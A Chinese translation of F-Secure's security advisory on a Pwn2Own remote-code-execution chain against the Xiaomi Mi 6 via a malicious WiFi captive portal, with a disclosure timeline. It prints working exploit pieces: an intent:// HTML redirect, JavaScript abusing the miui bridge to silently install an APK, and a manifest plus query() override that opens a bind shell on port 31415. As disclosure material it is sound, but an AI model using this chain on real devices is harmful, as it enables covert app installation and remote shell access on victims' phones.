小米6 WiFi验证门户中的RCE漏洞
介绍
在2018年的Pwn2own上,F-Secure实验室演示了小米6在连接攻击者所控制的恶意WiFi热点后被攻陷。以下是具体步骤:
用户加入由攻击者控制的WiFi,手机会通过发送测试性的HTTP GET请求来检查WiFi是否有强制认证门户
WiFi AP会做出200响应,并且在返回正文中插入恶意代码
手机会自动用HTML浏览器打开响应,也就是进入特定的URL
而在打开的特定域的恶意页面中,启用了一个危险的javascript bridge
这个bridge可从小米应用商店下载应用
最后利用Android组件中的某个漏洞自动启动恶意应用
技术细节
小米6(以及某些小米设备)与其他Android设备的不同之处在于,当在“高优先级”网络上检测到强制认证门户时,它会自动在一个HTML浏览器中打开,而不是提示用户。
攻击者可以通过创建一个恶意的WiFi AP来进行攻击。当受害者第一次加入网络时,他们可以直接访问网络,然后小米设备就会把这个网络设置为“高优先级”,因为它提供了“良好的”网络体验。然后攻击者重启WiFi AP,并将以下主机重定向到本地Web服务器:
connect.rom.miui.com
而本地Web服务对于手机发出的测试请求http://connect.rom.miui.com/generate_204
肯定会返回200,并且返回的页面中还包含下一步的payload。此时,小米6会自动打开强制认证门户。
浏览器跳转
而在浏览器中打开强制认证门户包含一个WebView,它会加载generate_204
请求的结果。这个WebView启用了javascript,可以通过自定义模式加载其他应用,其中包括“intent”模式。由于小米浏览器包含了一个BROWSABLE intent的http方案,因此下面的HTML可以用来加载浏览器:
<a id='foo' href="intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end">intent link to web</a>
<script>
function fooit(){
document.getElementById('foo').click();
}
</script>
使用javascript bridge安装APK
小米浏览器中有一个在所有页面中都存在的javascript bridge,miui
。它包含如下方法:
public abstract class a implements IMiuiApi {public class com.android.browser.js.a$a {
@javascriptInterface public void downloadAndInstallApk(String arg2, String arg3, String arg4) {
this.a();
ae.a(this.a, arg2, arg3, arg4);
}
它调用了a
方法去启动一个安装服务:
private void a(String arg4, String arg5) {
Intent v0 = new Intent("com.xiaomi.market.service.AppDownloadInstallService");
v0.setPackage(arg4);
v0.putExtra("packageName", arg5);
v0.putExtra("type", 2);
v0.putExtra("ref", "browser_suggestbutton");
this.W.startService(v0);
这个bridge的一个限制是,它只在URL以数组bf.a
包含的字符串为结尾的页面上运行:
public class bf {
private static final String[] a;
private static Pattern b;
static {
bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};
}
由于这是攻击者所控制的WiFi AP,所以很容易绕过,例如以下URL:
http://testing.mi.com/thanks.html
以上页面包含以下HTML:
<script>
function dofoo(){ window.miui.downloadAndInstallApk("com.mwr.dz","com.mwr.dz"); }
</script>
当代码运行后,将连接到小米应用商店,下载特定的应用,假设为Drozer。
自动运行
2017年出现的针对三星S8手机的应用自启动漏洞其实不仅限于三星,还影响到所有Android设备。其中的Contacts provider组件(com.android.providers.Contacts)会检查每个新安装的应用程序,查看在AndroidManifest.xml
文件中的元数据是否包含一个provider。
<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>
而在Drozer应用中的以下内容将触发这个缺陷:
<provider android:name="com.mwr.dz.MyContentProvider"
android:authorities="dzprovider"
android:enabled="true"
android:exported="true">
<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>
</provider>
当检测到元数据时,会尝试使用onQuery方法对provider进行询问。而这个询问方法会被Drozer重写,变成一个打开绑定shell的命令。
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
Intent i = new Intent();
i.addCategory("com.mwr.dz.START_EMBEDDED");
i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));
Context c = getContext();
c.startService(i);
}
最终打开的端口在31415。
时间线
2018-11-14:在Pwn2Own向ZDI报告了漏洞
2019-01-27:ZDI与厂商联系,请求交流
2019-02-06:ZDI再次联系厂商,要求更新漏洞流程
2019-02-06:厂商答复计划在二月底之前发布更新
2019-02-08:ZDI通知厂商,如果2月底前没有可用的安全补丁,则将结束整个漏洞流程
2019-03-04:厂商进行了答复,但未提供最终时间
2019-06-03:ZDI通知厂商打算结束整个漏洞流程
2019-11-22:F-Secure发布漏洞详情
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://labs.f-secure.com/advisories/xiaomi-wifi/
最新评论